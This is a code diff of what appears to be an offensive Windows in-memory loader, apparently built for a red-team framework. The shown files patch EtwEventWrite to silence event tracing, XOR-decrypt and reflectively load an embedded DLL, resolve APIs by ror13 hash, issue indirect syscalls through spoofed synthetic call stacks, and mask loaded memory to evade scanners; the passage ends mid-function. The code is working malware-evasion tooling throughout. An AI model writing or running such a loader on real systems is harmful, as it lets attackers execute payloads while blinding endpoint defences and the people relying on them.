||||
|
||||
for (int i = 0; i < (int)sectionCount; i++)
|
||||
{
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
sectionSize = sectionHdr->SizeOfRawData;
|
||||
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
newProtect = PAGE_WRITECOPY;
|
||||
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)
|
||||
newProtect = PAGE_READONLY;
|
||||
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) &&
|
||||
(sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE))
|
||||
newProtect = PAGE_READWRITE;
|
||||
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)
|
||||
newProtect = PAGE_EXECUTE;
|
||||
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
|
||||
(sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE))
|
||||
newProtect = PAGE_EXECUTE_WRITECOPY;
|
||||
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) &&
|
||||
(sectionHdr->Characteristics & IMAGE_SCN_MEM_READ))
|
||||
newProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) &&
|
||||
(sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) &&
|
||||
(sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE))
|
||||
newProtect = PAGE_EXECUTE_READWRITE;
|
||||
|
||||
/* set new permission */
|
||||
KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtect, &oldProtect);
|
||||
|
||||
memory->Sections[i].BaseAddress = sectionDst;
|
||||
memory->Sections[i].Size = sectionSize;
|
||||
memory->Sections[i].CurrentProtect = newProtect;
|
||||
memory->Sections[i].PreviousProtect = newProtect;
|
||||
|
||||
/* advance to section */
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
char *LoadPico(char *picoSrc, IMPORTFUNCS funcs)
|
||||
{
|
||||
SIZE_T sCodeSize = PicoCodeSize(picoSrc);
|
||||
SIZE_T sDataSize = PicoDataSize(picoSrc);
|
||||
|
||||
char *picoCode = KERNEL32$VirtualAlloc(NULL, sCodeSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
|
||||
char *picoData = KERNEL32$VirtualAlloc(NULL, sDataSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
|
||||
|
||||
if (!picoCode || !picoData)
|
||||
{
|
||||
ERROR_MSG("Failed to allocate PICO memory");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PicoLoad(&funcs, picoSrc, picoCode, picoData);
|
||||
|
||||
DWORD old = 0;
|
||||
if (!KERNEL32$VirtualProtect(picoCode, sCodeSize, PAGE_EXECUTE_READ, &old))
|
||||
{
|
||||
ERROR_MSG("VirtualProtect failed on PICO code section!");
|
||||
}
|
||||
|
||||
return picoCode;
|
||||
}
|
||||
|
||||
char *GetEntryPoint()
|
||||
{
|
||||
return (char *)go;
|
||||
}
|
||||
|
||||
// Entry Point
|
||||
void go()
|
||||
{
|
||||
INFO_MSG("=== STARTED LOADER ===");
|
||||
|
||||
// Populate functions
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
|
||||
// Patch ETW
|
||||
patchEtw();
|
||||
|
||||
INFO_MSG("Loading PICO");
|
||||
char *picoSrc = (char *)GETRESOURCE(_PICO_);
|
||||
char *picoDst = LoadPico(picoSrc, funcs);
|
||||
|
||||
INFO_MSG("Resolving and calling SetupHooks function from PICO");
|
||||
PICOFUNC_SETUP_HOOKS SetupHooks = (SETUP_HOOKS)(void *)PicoGetExport(picoSrc, picoDst, __tag_SetupHooks());
|
||||
SetupHooks(&funcs);
|
||||
|
||||
INFO_MSG("Resolving SetupMemory function from PICO");
|
||||
PICOFUNC_SETUP_MEMORY SetupMemory =
|
||||
(PICOFUNC_SETUP_MEMORY)(void *)PicoGetExport(picoSrc, picoDst, __tag_SetupMemory());
|
||||
|
||||
INFO_MSG("Resolving FreeLoader function from PICO");
|
||||
PICOFUNC_FREE_LOADER FreeLoader =
|
||||
(PICOFUNC_FREE_LOADER)(void *)PicoGetExport(picoSrc, picoDst, __tag_FreeLoader());
|
||||
|
||||
if (FreeLoader == NULL)
|
||||
{
|
||||
ERROR_MSG("FreeLoader not found in PICO");
|
||||
return;
|
||||
}
|
||||
|
||||
// Get appended DLL and XOR Key
|
||||
RESOURCE *maskedDll = GETRESOURCE(_DLL_);
|
||||
RESOURCE *maskKey = GETRESOURCE(_MASK_);
|
||||
|
||||
INFO_MSG("Unmasking DLL");
|
||||
XORData(maskedDll->value, maskedDll->len, maskKey->value, maskKey->len);
|
||||
char *dllSrc = maskedDll->value;
|
||||
|
||||
// Parse DLL Headers
|
||||
DLLDATA dllData;
|
||||
ParseDLL(dllSrc, &dllData);
|
||||
|
||||
INFO_MSG("Allocating memory for DLL");
|
||||
char *dllDst = KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&dllData),
|
||||
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
|
||||
|
||||
if (dllDst == NULL)
|
||||
{
|
||||
ERROR_MSG("VirtualAlloc failed for DLL");
|
||||
return;
|
||||
}
|
||||
|
||||
INFO_MSG("Loading DLL into memory");
|
||||
LoadDLL(&dllData, dllSrc, dllDst);
|
||||
|
||||
INFO_MSG("Processing DLL imports");
|
||||
ProcessImports(&funcs, &dllData, dllDst);
|
||||
|
||||
// Track DLL memory
|
||||
MEMORY_LAYOUT memory = {0};
|
||||
memory.Dll.BaseAddress = (PVOID)dllDst;
|
||||
memory.Dll.Size = SizeOfDLL(&dllData);
|
||||
|
||||
INFO_MSG("Setting up DLL section permissions");
|
||||
SetupSectionPermissions(&dllData, dllDst, &memory.Dll);
|
||||
// Pass memory to PICO
|
||||
SetupMemory(&memory);
|
||||
|
||||
// Get DLL entry point
|
||||
DLLMAIN_FUNC dll_entry_point = EntryPoint(&dllData, dllDst);
|
||||
|
||||
INFO_MSG("Calling FreeLoader from PICO:");
|
||||
INFO_MSG("\tloader: %p", GetEntryPoint());
|
||||
INFO_MSG("\tdll_base: %p", dllDst);
|
||||
INFO_MSG("\tdll_entry: %p", dll_entry_point);
|
||||
|
||||
FreeLoader(GetEntryPoint(), dll_entry_point, dllDst);
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
#include <windows.h>
|
||||
#include "evasion/patch.h"
|
||||
#include "include/memory.h"
|
||||
#include "utils/utils.h"
|
||||
#include "utils/debug.h"
|
||||
|
||||
#define GETRESOURCE(x) ((RESOURCE *)((char *)&x))
|
||||
|
||||
typedef struct
|
||||
{
|
||||
int len;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
|
||||
typedef void (*SETUP_HOOKS)(IMPORTFUNCS *funcs);
|
||||
|
||||
// Appended DLL
|
||||
char _DLL_[0] __attribute__((section("dll")));
|
||||
|
||||
// XOR Key
|
||||
char _MASK_[0] __attribute__((section("mask")));
|
||||
|
||||
// PICO
|
||||
char _PICO_[0] __attribute__((section("pico")));
|
||||
|
||||
// PICO Functions Tags
|
||||
int __tag_FreeLoader();
|
||||
int __tag_SetupHooks();
|
||||
int __tag_SetupMemory();
|
||||
|
||||
// PICO Spec
|
||||
typedef void (*PICOFUNC_FREE_LOADER)(char *loader, DLLMAIN_FUNC dllEntry, char *dllBase);
|
||||
typedef void (*PICOFUNC_SETUP_HOOKS)(IMPORTFUNCS *funcs);
|
||||
typedef void (*PICOFUNC_SETUP_MEMORY)(MEMORY_LAYOUT *memory);
|
||||
|
||||
// Loader Entry Point
|
||||
void go();
|
||||
@@ -0,0 +1,11 @@
|
||||
#include <windows.h>
|
||||
#include "include/tcg.h"
|
||||
|
||||
/*
|
||||
* This is our opt-in Dynamic Function Resolution resolver. It turns MODULE$Function into pointers.
|
||||
* See dfr "resolve" "ror13" in loader.spec
|
||||
*/
|
||||
FARPROC resolve(DWORD modHash, DWORD funcHash) {
|
||||
HANDLE hModule = findModuleByHash(modHash);
|
||||
return findFunctionByHash(hModule, funcHash);
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
#include "hooks.h"
|
||||
|
||||
BOOL SpoofedSyscall(DWORD functionHash, PVOID *args, int argsc)
|
||||
{
|
||||
PVOID pNtdll = findModuleByHash(NTDLL_HASH);
|
||||
if (pNtdll == NULL)
|
||||
{
|
||||
ERROR_MSG("\t\tFailed to find pNtdll.dll");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID pNtFunction = findFunctionByHash(pNtdll, functionHash);
|
||||
if (pNtFunction == NULL)
|
||||
{
|
||||
ERROR_MSG("\t\tFailed to find function by hash 0x%08X", functionHash);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SYSCALL_GATE syscall = {0};
|
||||
if (!GetSyscall(pNtdll, pNtFunction, &syscall))
|
||||
{
|
||||
ERROR_MSG("\t\tGetSyscall failed for function hash 0x%08X", functionHash);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (argsc > 10)
|
||||
{
|
||||
ERROR_MSG("\t\tArgs can't be more than 10");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
FUNCTION_CALL call = {0};
|
||||
call.ptr = syscall.jmpAddr;
|
||||
call.ssn = syscall.ssn;
|
||||
call.argc = argsc;
|
||||
|
||||
for (int i = 0; i < argsc && i < 10; i++)
|
||||
{
|
||||
call.args[i] = spoof_arg(args[i]);
|
||||
}
|
||||
|
||||
NTSTATUS status = spoof_call(&call);
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
ERROR_MSG("\t\tSyscall failed: 0x%08X ", status);
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _VirtualAlloc");
|
||||
|
||||
PVOID args[6] = {
|
||||
NtCurrentProcess(),
|
||||
&lpAddress,
|
||||
0,
|
||||
&dwSize,
|
||||
(PVOID)(ULONG_PTR)flAllocationType,
|
||||
(PVOID)(ULONG_PTR)flProtect};
|
||||
|
||||
if (!SpoofedSyscall(NTALLOCATEVIRTUALMEMORY_HASH, args, 6))
|
||||
return NULL;
|
||||
|
||||
return lpAddress;
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _VirtualProtect");
|
||||
|
||||
PVOID args[5] = {
|
||||
NtCurrentProcess(),
|
||||
&lpAddress,
|
||||
&dwSize,
|
||||
(PVOID)(ULONG_PTR)flNewProtect,
|
||||
(PVOID)(ULONG_PTR)lpflOldProtect};
|
||||
|
||||
if (!SpoofedSyscall(NTPROTECTVIRTUALMEMORY_HASH, args, 5))
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _VirtualFree");
|
||||
|
||||
PVOID args[4] = {
|
||||
NtCurrentProcess(),
|
||||
&lpAddress,
|
||||
&dwSize,
|
||||
(PVOID)(ULONG_PTR)dwFreeType};
|
||||
|
||||
if (!SpoofedSyscall(NTFREEVIRTUALMEMORY_HASH, args, 4))
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#include "utils/debug.h"
|
||||
#include "utils/utils.h"
|
||||
#include "spoof.h"
|
||||
#include "syscalls.h"
|
||||
#include "nt_hashes.h"
|
||||
|
||||
BOOL SpoofedSyscall(DWORD functionHash, PVOID *args, int argsc);
|
||||
@@ -0,0 +1,70 @@
|
||||
#include "mask.h"
|
||||
|
||||
// Random key patched by Crystal Palace spec
|
||||
#define XOR_KEY_LEN 128
|
||||
char XOR_KEY[XOR_KEY_LEN] = {1};
|
||||
|
||||
BOOL IsWriteable(DWORD protection)
|
||||
{
|
||||
if (protection == PAGE_EXECUTE_READWRITE ||
|
||||
protection == PAGE_EXECUTE_WRITECOPY ||
|
||||
protection == PAGE_READWRITE ||
|
||||
protection == PAGE_WRITECOPY)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void ApplyMask(char *data, DWORD len)
|
||||
{
|
||||
XORData(data, len, XOR_KEY, XOR_KEY_LEN);
|
||||
}
|
||||
|
||||
void EncryptSection(MEMORY_SECTION *section, BOOL mask)
|
||||
{
|
||||
/* if we're masking and the section needs to be made writeable */
|
||||
if (mask && !IsWriteable(section->CurrentProtect))
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
/* set the section permissions to RW */
|
||||
if (KERNEL32$VirtualProtect(section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect))
|
||||
{
|
||||
/*
|
||||
* store the old protection so
|
||||
* it can be set back later
|
||||
*/
|
||||
section->CurrentProtect = PAGE_READWRITE;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
|
||||
if (IsWriteable(section->CurrentProtect))
|
||||
{
|
||||
/* section is writeable, so XOR it */
|
||||
ApplyMask(section->BaseAddress, section->Size);
|
||||
}
|
||||
|
||||
/* if we're unmasking and the section permissions need to be set back */
|
||||
if (mask == FALSE && section->CurrentProtect != section->PreviousProtect)
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
/* set the section permissions back to PreviousProtect */
|
||||
if (KERNEL32$VirtualProtect(section->BaseAddress, section->Size, section->PreviousProtect, &old_protect))
|
||||
{
|
||||
section->CurrentProtect = section->PreviousProtect;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void MaskMemory(MEMORY_LAYOUT *memory, BOOL mask)
|
||||
{
|
||||
for (size_t i = 0; i < memory->Dll.Count; i++)
|
||||
{
|
||||
EncryptSection(&memory->Dll.Sections[i], mask);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
#include <windows.h>
|
||||
#include "include/memory.h"
|
||||
#include "utils/utils.h"
|
||||
#include "utils/debug.h"
|
||||
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
|
||||
void MaskMemory(MEMORY_LAYOUT *memory, BOOL isMasked);
|
||||
@@ -0,0 +1,37 @@
|
||||
// Generated automatically
|
||||
// Do not edit manually
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef _NTFUNC_HASHES
|
||||
#define _NTFUNC_HASHES
|
||||
|
||||
// Nt* Functions
|
||||
#define NTDLL_HASH 0x3CFA685D
|
||||
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
|
||||
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
|
||||
#define NTWRITEVIRTUALMEMORY_HASH 0xC5108CC2
|
||||
#define NTFREEVIRTUALMEMORY_HASH 0xDB63B5AB
|
||||
#define NTQUERYVIRTUALMEMORY_HASH 0x4F138492
|
||||
#define NTCREATESECTION_HASH 0x5BB29BCB
|
||||
#define NTMAPVIEWOFSECTION_HASH 0xD5159B94
|
||||
#define NTUNMAPVIEWOFSECTION_HASH 0xF21037D0
|
||||
#define NTREADVIRTUALMEMORY_HASH 0x3AEFA5AA
|
||||
#define NTQUERYINFORMATIONPROCESS_HASH 0xB10FD839
|
||||
#define NTSETINFORMATIONTHREAD_HASH 0xE3D6909C
|
||||
#define NTRESUMETHREAD_HASH 0xC54A46C8
|
||||
#define NTSUSPENDTHREAD_HASH 0x488D64DC
|
||||
#define NTCREATETHREADEX_HASH 0x4D1DEB74
|
||||
#define NTOPENTHREAD_HASH 0x59651E8C
|
||||
#define NTTERMINATEPROCESS_HASH 0x7929BBF3
|
||||
#define NTWAITFORSINGLEOBJECT_HASH 0xAE06C1B2
|
||||
#define NTDELAYEXECUTION_HASH 0xD4F11852
|
||||
#define NTCREATEFILE_HASH 0x03888F9D
|
||||
#define NTREADFILE_HASH 0x84FCD516
|
||||
#define NTWRITEFILE_HASH 0x680E1933
|
||||
#define NTCLOSE_HASH 0xDCD44C5F
|
||||
|
||||
// ETW
|
||||
#define ETWEVENTWRITE_HASH 0x2047C3EE
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,27 @@
|
||||
#include "patch.h"
|
||||
|
||||
BOOL patchEtw() {
|
||||
INFO_MSG("Patching ETW");
|
||||
PVOID pNtdll = findModuleByHash(NTDLL_HASH);
|
||||
PVOID pTarget = findFunctionByHash(pNtdll, ETWEVENTWRITE_HASH);
|
||||
|
||||
if (!pTarget) {
|
||||
ERROR_MSG("Failed to find function by hash 0x%08X", pTarget);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD oldProt = 0;
|
||||
if (!KERNEL32$VirtualProtect(pTarget, 16, PAGE_READWRITE, &oldProt))
|
||||
return FALSE;
|
||||
|
||||
// mov eax, 0xC0000022 (STATUS_ACCESS_DENIED); ret
|
||||
PBYTE pPatch = (PBYTE)pTarget;
|
||||
pPatch[0] = 0xB8u; // mov eax
|
||||
*(DWORD*)(pPatch + 1) = 0xC0000022u; // STATUS_ACCESS_DENIED
|
||||
pPatch[5] = 0xC3u; // ret
|
||||
|
||||
KERNEL32$VirtualProtect(pTarget, 16, oldProt, &oldProt);
|
||||
|
||||
SUCCESS_MSG("ETW Patched");
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "utils/debug.h"
|
||||
#include "nt_hashes.h"
|
||||
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
|
||||
BOOL patchEtw();
|
||||
@@ -0,0 +1,424 @@
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR);
|
||||
DECLSPEC_IMPORT RUNTIME_FUNCTION *WINAPI KERNEL32$RtlLookupFunctionEntry(DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE);
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx(PULONG);
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
#define RBP_OP_INFO 0x5
|
||||
|
||||
typedef struct
|
||||
{
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME;
|
||||
|
||||
typedef enum
|
||||
{
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union
|
||||
{
|
||||
struct
|
||||
{
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode[1];
|
||||
} UNWIND_INFO;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID Gadget;
|
||||
} SYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
FUNCTION_CALL *FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
PVOID Fixup;
|
||||
PVOID OriginalReturnAddress;
|
||||
PVOID Rbx;
|
||||
PVOID Rdi;
|
||||
PVOID BaseThreadInitThunkStackSize;
|
||||
PVOID BaseThreadInitThunkReturnAddress;
|
||||
PVOID TrampolineStackSize;
|
||||
PVOID RtlUserThreadStartStackSize;
|
||||
PVOID RtlUserThreadStartReturnAddress;
|
||||
PVOID Ssn;
|
||||
PVOID Trampoline;
|
||||
PVOID Rsi;
|
||||
PVOID R12;
|
||||
PVOID R13;
|
||||
PVOID R14;
|
||||
PVOID R15;
|
||||
} DRAUGR_PARAMETERS;
|
||||
|
||||
extern PVOID draugr_stub(PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||
|
||||
#define draugr_arg(i) (ULONG_PTR)(call->args[i])
|
||||
|
||||
void init_frame_info(SYNTHETIC_STACK_FRAME *frame)
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA("kernel32.dll");
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA("ntdll.dll");
|
||||
|
||||
frame->Frame1.ModuleAddress = frame1_module;
|
||||
frame->Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)frame1_module, "BaseThreadInitThunk");
|
||||
frame->Frame1.Offset = 0x17;
|
||||
|
||||
frame->Frame2.ModuleAddress = frame2_module;
|
||||
frame->Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)frame2_module, "RtlUserThreadStart");
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
frame->Gadget = KERNEL32$GetModuleHandleA("KernelBase.dll");
|
||||
}
|
||||
|
||||
BOOL get_text_section_size(PVOID module, PDWORD virtual_address, PDWORD size)
|
||||
{
|
||||
IMAGE_DOS_HEADER *dos_header = (IMAGE_DOS_HEADER *)(module);
|
||||
|
||||
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_NT_HEADERS *nt_headers = (IMAGE_NT_HEADERS *)((UINT_PTR)module + dos_header->e_lfanew);
|
||||
|
||||
if (nt_headers->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER *section_header = IMAGE_FIRST_SECTION(nt_headers);
|
||||
|
||||
for (int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
DWORD h = ror13hash((char *)section_header[i].Name);
|
||||
|
||||
if (h == TEXT_HASH)
|
||||
{
|
||||
*virtual_address = section_header[i].VirtualAddress;
|
||||
*size = section_header[i].SizeOfRawData;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size(RUNTIME_FUNCTION *runtime_function, const DWORD64 image_base)
|
||||
{
|
||||
UNWIND_INFO *unwind_info = NULL;
|
||||
ULONG unwind_operation = 0;
|
||||
ULONG operation_info = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frame_offset = 0;
|
||||
|
||||
STACK_FRAME stack_frame = {0};
|
||||
|
||||
if (!runtime_function)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unwind_info = (UNWIND_INFO *)(runtime_function->UnwindData + image_base);
|
||||
|
||||
while (index < unwind_info->CountOfCodes)
|
||||
{
|
||||
unwind_operation = unwind_info->UnwindCode[index].UnwindOp;
|
||||
operation_info = unwind_info->UnwindCode[index].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if (unwind_operation == UWOP_PUSH_NONVOL)
|
||||
{
|
||||
stack_frame.TotalStackSize += 8;
|
||||
|
||||
if (operation_info == RBP_OP_INFO)
|
||||
{
|
||||
stack_frame.PushRbp = TRUE;
|
||||
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
|
||||
stack_frame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if (unwind_operation == UWOP_SAVE_NONVOL)
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if (unwind_operation == UWOP_ALLOC_SMALL)
|
||||
{
|
||||
stack_frame.TotalStackSize += ((operation_info * 8) + 8);
|
||||
}
|
||||
else if (unwind_operation == UWOP_ALLOC_LARGE)
|
||||
{
|
||||
index += 1;
|
||||
frame_offset = unwind_info->UnwindCode[index].FrameOffset;
|
||||
|
||||
if (operation_info == 0)
|
||||
{
|
||||
frame_offset *= 8;
|
||||
}
|
||||
else
|
||||
{
|
||||
index += 1;
|
||||
frame_offset += (unwind_info->UnwindCode[index].FrameOffset << 16);
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += frame_offset;
|
||||
}
|
||||
else if (unwind_operation == UWOP_SET_FPREG)
|
||||
{
|
||||
stack_frame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if (unwind_operation == UWOP_SAVE_XMM128)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if (0 != (unwind_info->Flags & UNW_FLAG_CHAININFO))
|
||||
{
|
||||
index = unwind_info->CountOfCodes;
|
||||
|
||||
if (0 != (index & 1))
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
|
||||
runtime_function = (RUNTIME_FUNCTION *)(&unwind_info->UnwindCode[index]);
|
||||
return calculate_function_stack_size(runtime_function, image_base);
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += 8;
|
||||
return (PVOID)(stack_frame.TotalStackSize);
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size_wrapper(PVOID return_address)
|
||||
{
|
||||
RUNTIME_FUNCTION *runtime_function = NULL;
|
||||
DWORD64 image_base = 0;
|
||||
PUNWIND_HISTORY_TABLE history_table = NULL;
|
||||
|
||||
if (!return_address)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
runtime_function = KERNEL32$RtlLookupFunctionEntry((DWORD64)return_address, &image_base, history_table);
|
||||
|
||||
if (NULL == runtime_function)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculate_function_stack_size(runtime_function, image_base);
|
||||
}
|
||||
|
||||
PVOID find_gadget(PVOID module)
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list[15] = {0};
|
||||
|
||||
if (!found_gadgets)
|
||||
{
|
||||
if (!get_text_section_size(module, &text_section_va, &text_section_size))
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = (PBYTE)((UINT_PTR)module + text_section_va);
|
||||
|
||||
for (int i = 0; i < (int)(text_section_size - 2); i++)
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if (((PBYTE)module_text_section)[i] == 0xFF && ((PBYTE)module_text_section)[i + 1] == 0x23)
|
||||
{
|
||||
gadget_list[counter] = (PVOID)((UINT_PTR)module_text_section + i);
|
||||
counter++;
|
||||
|
||||
if (counter == 15)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
random = NTDLL$RtlRandomEx(&seed);
|
||||
random %= counter;
|
||||
|
||||
return gadget_list[random];
|
||||
}
|
||||
|
||||
ULONG_PTR draugr_wrapper(PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12)
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID return_address = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugr_params = {0};
|
||||
|
||||
if (ssn)
|
||||
{
|
||||
draugr_params.Ssn = (PVOID)(ULONG_PTR)ssn;
|
||||
}
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info(&frame);
|
||||
|
||||
return_address = (PVOID)((UINT_PTR)frame.Frame1.FunctionAddress + frame.Frame1.Offset);
|
||||
